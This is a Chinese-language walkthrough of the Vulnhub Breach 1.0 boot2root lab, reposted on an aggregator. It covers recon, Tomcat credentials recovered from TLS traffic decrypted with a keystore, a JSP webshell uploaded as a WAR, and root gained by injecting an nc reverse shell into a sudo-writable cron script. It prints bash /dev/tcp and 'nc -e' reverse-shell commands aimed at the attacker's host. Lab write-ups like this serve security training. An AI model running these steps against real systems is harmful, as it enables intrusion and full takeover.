解密HTTPS流量并getshell和提权系统权限(Breach1.0)

Posted 曹振国cc

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了解密HTTPS流量并getshell和提权系统权限(Breach1.0)相关的知识,希望对你有一定的参考价值。

文章目录

一、靶场的搭建及环境配置

1.1 靶场介绍

Breach1.0是Vulnhub中一个难度为初级到中级boot2root/CTF的挑战,虚拟机需要配置静态IP地址(192.168.110.140),需要将虚拟机的网卡设置为host-only(仅主机)方式组网。

1.2 环境配置

如果出现仅主机网卡已配置但始终无法生效,你可以试试dhclient eth1

靶机:

Breach-1.0 192.168.110.140 仅主机模式

攻击机:

Kali 192.168.110.5 仅主机模式

192.168.101.11 仅主机模式

二、信息收集发现目标

2.1 nmap扫描端口探测

由于IP已知,使用nmap扫描端口,并做服务识别和端口扫描(-A),将扫描结果保存的txt文件

┌──(root💀xuegod)-[~/桌面]
└─# nmap -v -A 192.168.110.140 -oG a.txt

		-v			显示扫描过程
		-A			综合扫描
		-oG			将扫描结果储存到文件

2.2 访问80端口(Web服务)

2.3 访问跳转地址,并保存相关信息

有两张图片和一个cms登录网站

点击图片再次跳转页面,保存图片并根据提示查看页面源码

没有什么可看的

三、查看首页源码并解码得到密码

3.1 回到首页,查看页面源码,

发现存在存在一处Base64的加密字符,还有一处跳转

3.2 解码得到账号,密码

pgibbons:damnitfeel$goodtobeagang$ta 

四、登录CMS通过邮件下载SSL证书的密钥库文件

4.1 登录CMS

4.2 下载wireshark流量包文件

4.3 查看邮件找到SSL证书密钥库文件

这里还告诉了我们密钥库文件的密码

通过点击侧边栏又发现了一个gif图片,进行保存

4.4 通过kali寻找该CMS的漏洞

┌──(root💀xuegod)-[~/桌面]
└─# searchsploit impress cms				发现1.3.9版本存在sql注入

┌──(root💀xuegod)-[~/桌面]
└─# searchsploit -p 39737						寻找漏洞详情文件存放的地址

访问文件发现,漏洞的注入点在:/modules/profile/admin/field.php

当我们去访问该地址时,系统提示我们无权访问,并跳回原页面

五、导入流量抓包文件、SSL证书到Wireshark

5.1 导入流量包文件到wireshark

TLS加密这是HTTPS数据包

5.2 对密钥库进行解密

将密钥库文件keystore放到C盘根目录,利用java\\jdk\\bin目录下的keytool.exe进行解密

要在C盘根目录下写文件需要管理员模式打开cmd

C:\\Program Files\\Java\\jdk-10.0.2\\bin>keytool.exe			查看工具详情

C:\\Program Files\\Java\\jdk-10.0.2\\bin>keytool -list -keystore c:\\keystore		查看密钥库里所有的证书
口令:tomcat

C:\\Program Files\\Java\\jdk-10.0.2\\bin>keytool -importkeystore -srckeystore c:\\keystore -destkeystore c:\\tomcattkeystore.p12 -deststoretype PKCS12 -srcalias tomcat			生成解密的pkcs12证书
口令:tomcat

5.3 将p12证书导入wireshark

8443端口是tomcat打开SSL文本服务的默认端口,相当于https(443),为了区别使用所以用了8443端口

导入证书后,https的流量已经解密,可以查看TLS的流量包了

六、从流量包文件中得到Tomact后台URL和密码

6.1 分析流量包

通过查看流量包,发现192.168.110.129192.168.110.140有大量攻击行为,追踪http数据流找到后台地址:https://192.168.110.140:8443/_M@nag3Me/html

访问被重置可以通过bp访问

6.2 通过401身份认证页面,找到被加密的账号密码

Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC

Base64解密:tomcat:Tt\\5D8F(#!*u=G)4m7zB

七、登录Tomact后台并·Getshell

7.1 根据提示需要上传war格式的压缩包

7.2 打包冰蝎的jsp马成war包

┌──(root💀xuegod)-[~/桌面/server]
└─# zip -r shell.zip ./shell.jsp				将jsp马打包成zip

┌──(root💀xuegod)-[~/桌面/server]
└─# mv shell.zip shell.war							更改文件后缀

7.3 上传木马getshell

上传后自动解压,木马在/shell/shell.jsp

配置代理通过bp连接 密码:rebeyond

马每隔几分钟就会掉需要重新上传,当前用户是tomcat6并非root

八、查看系统用户发现mysql root密码

8.1 查看passwd文件里的用户名和密码

发现root,milton,blumbergh这三个用户是有bin/bash权限的

8.2 在www目录下找到数据库配置文件

数据库是通过localhost方式连接的,用户名是root,密码是空的

8.3 通过bash反弹shell

┌──(root💀xuegod)-[~/桌面/server]
└─# nc -lnvp 8888    								通过nc进行监听	

		l使用监听模式 
		n直接使用ip,而不通过域名服务器 
		v显示详细过程 
		p指定本地监听端口

在虚拟终端反弹shell
echo "bash -i >& /dev/tcp/192.168.110.5/8888 0>&1" |bash

bash -i  打开一个交互式的bash 
/dev/tcp/ 是Linux的一个特殊文件,实际这个文件是不存在的,它只是bash用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据
192.168.110.5/8888 是攻击者主机的地址和监听的端口 
>& 表示混合输出,即标准输出+错误输出   
0>&1 将标准输入重定向到标准输出中

8.4 提升成可交互shell

连接数据库并没有反应

python -c 'import pty;pty.spawn("/bin/bash")'				利用python调用本地shell实现交互式命令行

在mysql库,user表中找到了milton的密码
select user,password from user;

6450d89bd3aff1d893b85d3ad65d2ec2 解密: thelaststraw

九、提权到用户milton和blumbergh

之前在passwd文件里看见了同名账号,尝试登录

9.1 查找有用信息

发现当前目录下有一张图片和一个脚本文件

home\\milton目录下下载图片

查看脚本,什么都没有

查看当前系统的内核版本,并不具有本地提权漏洞

9.2 查看历史操作记录

cat .bash_history
有提权到 blumbergh的操作,需要找到blumbergh的密码

9.3 导出之前收集的图片的可打印的字符

有两个比较突出 tEXtComment coffeestains

9.4 尝试登录并查找有用信息

发现coffeestainsblumbergh的密码

查看历史记录寻找到了删我们上传的木马的计划脚本

脚本是root身份运行的,发现当前用户有权限执行/usr/bin/tee和这个脚本 tee是读取标准输入和输出的数据

十、使用nc反弹shell获取root权限

10.1 利用tee往计划任务脚本写入shell

回到根目录,往文本文件里写入一个shell脚本
echo "nc -e /bin/bash 192.168.110.5 9999" > shell.txt

通过tee将shell脚本写入原来的计划任务脚本
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

查看脚本发现写入的内容已替代原先的内容,而这是一个定时执行的脚本
cat /usr/share/cleanup/tidyup.sh

10.2 利用kali监听,获取反弹shell

┌──(root💀xuegod)-[~/桌面/server]
└─# nc -lvnp 9999 

已经是root权限了

以上是关于解密HTTPS流量并getshell和提权系统权限(Breach1.0)的主要内容,如果未能解决你的问题,请参考以下文章

解密HTTPS流量并getshell和提权系统权限(Breach1.0)

Linux-- Centos7用户切换,PAM和提权

干货|Mysql漏洞利用和提权

内网实验1:getshell上线提权抓取主机密码

windows靶场提权总结

本地提权的学习